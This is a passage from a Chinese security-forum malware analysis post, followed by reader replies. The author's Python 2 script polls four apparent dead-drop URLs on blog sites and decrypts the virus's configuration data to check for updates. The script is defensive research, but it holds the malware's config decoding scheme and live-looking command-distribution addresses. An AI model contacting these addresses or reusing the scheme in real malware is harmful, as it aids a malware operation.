CloseHandle(hFile);
hFile = INVALID_HANDLE_VALUE;
}
if (NULL != pSaveInfo->MapOfFile)
{
VirtualFree(pSaveInfo->MapOfFile,0,MEM_RELEASE);
}
if (NULL != pSaveInfo)
{
free(pSaveInfo);
pSaveInfo = NULL;
}
return bRet;
}
最后我写了个叫脚本来下载解密其配置文件,看看病毒作者是否有更新,结果很失望,脚本如下:
import os,sys
import urllib2
import time
import re, struct
def Decrypt_Config(srcData, hOutFile):
currIndex = 0
data_len = len(srcData)
ecx = data_len - 0xa
p = re.compile(r'########(.*)',re.DOTALL)
m = p.search(srcData)
decrypt_data = []
if m:
found_offset = m.start(1)
ecx = ecx - found_offset
ecx = ecx >> 1
#print "ecx %08x" % ecx
while ecx != 0:
ah = srcData
al = srcData
eax = (ord(ah) << 0x8) | ord(al)
#print "eax %08x" % eax
eax = eax - 0x4141
edx = eax
eax = eax >> 4
eax = edx | eax
#print "after or eax %08x" % eax
decrypt_data.append(chr(eax & 0xff))
found_offset = found_offset+2
ecx = ecx - 1
decrypt_data_ = "".join(decrypt_data)
first_dword = struct.unpack('I',decrypt_data_)
if first_dword <= data_len:
check_value = struct.unpack('H',decrypt_data_)
#print "check_value %08x" % check_value
ecx = first_dword
eax = 0
esi = decrypt_data_
cur_offset = 0
while ecx >= 4:
eax = eax + struct.unpack('I',esi)
cur_offset = cur_offset + 4
ecx = ecx -4
eax = eax & 0xffff
if eax == check_value:
real_data = decrypt_data_
hOutFile.write(real_data)
else:
print "no content found"
#time.sleep(7200)
def downloadfilewithoutdecrypt(url):
try:
ha = urllib2.urlopen(url,)
if ha:
print 'get sucess\n'
configdata=ha.read()
if configdata:
print 'get data correct \n'
if url.lower().endswith('625'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'config625','wb')
Decrypt_Config(configdata,outfile)
#outfile.write(configdata)
outfile.close()
if url.lower().endswith('358'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'config358','wb')
Decrypt_Config(configdata,outfile)
outfile.close()
if url.lower().endswith('home'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'configtest','wb')
Decrypt_Config(configdata,outfile)
outfile.close()
if url.lower().endswith('014'):
ISOTIMEFORMAT='%Y-%m-%d-%H-%M-%S'
Config_name='Priter_'+time.strftime(ISOTIMEFORMAT, time.localtime( time.time() ) )
outfile=file(Config_name + 'config014','wb')
Decrypt_Config(configdata,outfile)
outfile.close()
except urllib2.HTTPError:
pass
if __name__ == '__main__':
weblist = [
"http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625",
"http://home.51.com/?u=testdown&c=diary&a=getdataview&id=10049014",
"http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358",
"http://hi.baidu.com/test6345/home"
]
#f
i = 0
while(True):
for url in weblist:
i = i + 1
downloadfilewithoutdecrypt(url)
time.sleep(72)
if i > 0x10:
break
print "finishe"
这几天下载下来的内容,都是一样的。
附件密码:forfun
会PY,又会IDA的确实很猛啊,支持一个 楼主比较厉害 高手啊,收藏着以后学习吧 确实不错,果断收藏。 天上飞来五个字。啥都看不懂 做个记号,下次好找! 牛人啊,犀利B啊羡慕嫉妒恨啊 爱爱爱.
页:
[1]